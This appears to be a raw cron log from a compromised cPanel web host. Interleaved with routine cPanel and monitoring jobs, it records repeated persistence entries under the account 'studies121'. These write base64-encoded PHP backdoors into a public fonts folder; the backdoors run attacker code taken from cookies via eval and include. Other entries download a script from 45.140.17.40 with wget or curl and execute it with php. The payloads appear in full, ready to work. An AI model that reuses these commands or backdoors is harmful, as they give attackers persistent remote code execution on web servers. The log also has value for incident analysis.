Aug 31 10:15:01 ip-184-168-122-23 CROND[11027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:15:01 ip-184-168-122-23 CROND[11029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:15:01 ip-184-168-122-23 CROND[11030]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:15:01 ip-184-168-122-23 CROND[11036]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:15:01 ip-184-168-122-23 CROND[11038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:15:01 ip-184-168-122-23 CROND[11035]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 10:15:01 ip-184-168-122-23 CROND[11037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:16:01 ip-184-168-122-23 CROND[11163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:16:01 ip-184-168-122-23 CROND[11165]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:16:01 ip-184-168-122-23 CROND[11167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:16:01 ip-184-168-122-23 CROND[11166]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 10:16:01 ip-184-168-122-23 CROND[11168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:16:01 ip-184-168-122-23 CROND[11169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:17:01 ip-184-168-122-23 CROND[11299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:17:01 ip-184-168-122-23 CROND[11301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:17:01 ip-184-168-122-23 CROND[11303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:17:01 ip-184-168-122-23 CROND[11305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:18:01 ip-184-168-122-23 CROND[11384]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:18:01 ip-184-168-122-23 CROND[11386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:18:01 ip-184-168-122-23 CROND[11388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:18:01 ip-184-168-122-23 CROND[11389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:18:01 ip-184-168-122-23 CROND[11387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:19:01 ip-184-168-122-23 CROND[11613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:19:01 ip-184-168-122-23 CROND[11615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:19:01 ip-184-168-122-23 CROND[11617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:19:01 ip-184-168-122-23 CROND[11616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:20:01 ip-184-168-122-23 CROND[11774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:20:01 ip-184-168-122-23 CROND[11775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:20:01 ip-184-168-122-23 CROND[11778]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:20:01 ip-184-168-122-23 CROND[11782]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 10:20:01 ip-184-168-122-23 CROND[11786]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:20:01 ip-184-168-122-23 CROND[11784]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 10:20:01 ip-184-168-122-23 CROND[11787]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:20:01 ip-184-168-122-23 CROND[11785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:20:01 ip-184-168-122-23 CROND[11788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:21:01 ip-184-168-122-23 CROND[11901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:21:01 ip-184-168-122-23 CROND[11902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:21:01 ip-184-168-122-23 CROND[11903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:21:01 ip-184-168-122-23 CROND[11904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:22:01 ip-184-168-122-23 CROND[12032]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:22:01 ip-184-168-122-23 CROND[12034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:22:01 ip-184-168-122-23 CROND[12036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:22:01 ip-184-168-122-23 CROND[12035]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:22:01 ip-184-168-122-23 CROND[12037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:23:01 ip-184-168-122-23 CROND[12162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:23:01 ip-184-168-122-23 CROND[12164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:23:01 ip-184-168-122-23 CROND[12165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:23:01 ip-184-168-122-23 CROND[12168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:24:01 ip-184-168-122-23 CROND[12280]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:24:01 ip-184-168-122-23 CROND[12281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:24:01 ip-184-168-122-23 CROND[12282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:24:01 ip-184-168-122-23 CROND[12286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:24:01 ip-184-168-122-23 CROND[12287]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:25:01 ip-184-168-122-23 CROND[12413]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 31 10:25:01 ip-184-168-122-23 CROND[12415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:25:01 ip-184-168-122-23 CROND[12416]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:25:01 ip-184-168-122-23 CROND[12419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:25:01 ip-184-168-122-23 CROND[12420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:25:01 ip-184-168-122-23 CROND[12421]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:25:01 ip-184-168-122-23 CROND[12422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:26:01 ip-184-168-122-23 CROND[12609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:26:01 ip-184-168-122-23 CROND[12610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:26:01 ip-184-168-122-23 CROND[12612]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:26:01 ip-184-168-122-23 CROND[12614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:26:01 ip-184-168-122-23 CROND[12611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
